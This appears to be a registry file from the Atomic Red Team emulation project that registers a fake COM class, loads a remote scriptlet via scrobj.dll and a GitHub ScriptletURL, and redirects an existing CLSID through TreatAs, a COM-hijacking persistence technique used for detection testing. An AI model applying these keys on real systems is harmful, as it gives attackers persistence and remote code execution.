caseysmithrc
24 lines
1.3 KiB
Reg
Executable File
24 lines
1.3 KiB
Reg
Executable File
Windows Registry Editor Version 5.00
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
|
|
@="AtomicRedTeam"
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
|
|
@="{00000001-0000-0000-0000-0000FEEDACDC}"
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
|
|
@="AtomicRedTeam"
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
|
|
@="{00000001-0000-0000-0000-0000FEEDACDC}"
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
|
|
@="AtomicRedTeam"
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32]
|
|
@="C:\\WINDOWS\\system32\\scrobj.dll"
|
|
"ThreadingModel"="Apartment"
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID]
|
|
@="AtomicRedTeam.1.00"
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
|
|
@="https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/COMHijackScripts/AtomicRedTeam.sct"
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
|
|
@="AtomicRedTeam"
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{372FCE38-4324-11D0-8810-00A0C903B83C}]
|
|
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{372FCE38-4324-11D0-8810-00A0C903B83C}\TreatAs]
|
|
@="{00000001-0000-0000-0000-0000FEEDACDC}"
|